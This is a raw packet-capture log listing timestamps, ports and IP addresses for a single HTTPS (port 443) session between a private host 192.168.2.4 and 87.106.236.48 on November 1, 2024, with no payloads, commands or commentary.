Nov 1, 2024 13:42:30.493207932 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493226051 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493278027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493285894 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493367910 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493391991 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493419886 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493427038 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493443012 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493469000 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493518114 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493535042 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493571043 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493577003 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493587971 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493614912 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493669987 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493684053 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493716955 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493722916 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493746996 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493760109 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493813038 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493834019 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493865013 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493871927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493895054 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493913889 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494033098 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494054079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494088888 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494096994 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494124889 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494138002 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494302034 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494323015 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494352102 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494358063 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494375944 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494385004 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494398117 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494406939 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494416952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494438887 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494468927 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494684935 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494715929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494746923 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494755030 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494769096 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494791985 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494870901 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494884968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494915009 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494923115 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.494935989 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.494961977 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.495052099 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.495068073 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.495100975 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.495106936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.495134115 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.495151043 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.495212078 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.495242119 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.495265007 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.495276928 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.495296001 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.495320082 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.503762007 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.503777981 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.503832102 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.503842115 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.503891945 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.503911018 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.517486095 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.517504930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.517590046 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.517625093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.517694950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.517704010 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.517729044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.517769098 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.553358078 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.553386927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.553464890 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.553476095 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.553518057 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.553540945 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.595304966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.595346928 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.595402002 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.595455885 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.595453978 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.595496893 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.595516920 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.595542908 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.595566988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.596844912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.596863031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.596929073 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.596937895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.596955061 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.596983910 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597093105 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597115993 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597170115 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597178936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597318888 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597340107 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597385883 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597397089 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597417116 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597434044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597477913 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597492933 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597547054 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597556114 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597681046 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597702026 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597738981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597745895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597770929 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597774029 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597793102 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597796917 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597812891 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597826958 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597848892 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597878933 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.597958088 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.597975969 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.598012924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.598022938 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.598037958 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.598061085 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.599845886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.599867105 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.599929094 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.599931002 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.599940062 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.599958897 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.599982977 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.599992037 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600008011 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.600040913 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.600277901 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600295067 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600344896 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.600353003 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600598097 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600622892 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600663900 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.600671053 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600687027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.600713968 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.600764990 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600780964 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.600827932 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.600833893 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601099968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601120949 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601157904 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601165056 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601186991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601213932 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601314068 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601341009 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601376057 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601382017 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601397991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601407051 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601422071 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601429939 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601449966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601464033 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601495981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601722002 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601738930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.601797104 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.601804972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602030039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602056980 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602114916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.602124929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602144957 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.602179050 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.602289915 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602314949 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602365971 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.602374077 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602610111 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602631092 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602670908 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.602679968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.602694035 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.602722883 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603005886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603024006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603063107 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603070021 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603084087 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603111982 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603497982 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603522062 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603579044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603585958 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603600979 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603620052 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603657961 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603666067 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603679895 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603708982 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603821039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603838921 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603879929 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603887081 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.603900909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.603930950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604090929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604125977 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604156971 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604165077 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604180098 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604202986 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604289055 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604305983 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604350090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604358912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604372025 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604398966 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604456902 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604476929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604515076 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604522943 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604557991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604737997 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604758978 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604777098 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604784012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.604799032 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604830980 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.604854107 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.611598015 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.611613989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.611691952 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.611701012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.611826897 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.611845016 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.611886024 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.611892939 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.611934900 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.611959934 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612065077 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612085104 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612124920 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612134933 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612148046 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612178087 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612360954 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612375021 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612487078 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612487078 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612495899 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612507105 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612538099 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612571955 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612581015 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612596989 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612660885 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612670898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612688065 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612728119 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612734079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612746954 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612773895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612776995 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612786055 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612804890 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612827063 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612834930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612864017 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612916946 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612932920 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612952948 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.612961054 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.612977028 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613013029 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613114119 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613127947 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613169909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613176107 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613190889 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613221884 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613255978 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613276958 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613307953 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613313913 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613339901 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613359928 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613475084 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613496065 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613545895 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613554001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613579988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613595963 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613658905 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613677979 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613720894 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613728046 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613739014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613756895 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613759041 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613769054 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613775969 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613791943 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613835096 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.613970995 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.613991022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614027023 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614041090 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614056110 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614084005 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614192009 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614208937 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614247084 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614254951 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614272118 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614298105 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614386082 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614401102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614434958 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614444017 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614470959 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614485979 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614547968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614567995 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614604950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614612103 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614624977 CET	443	49762	87.106.236.48	192.168.2.4
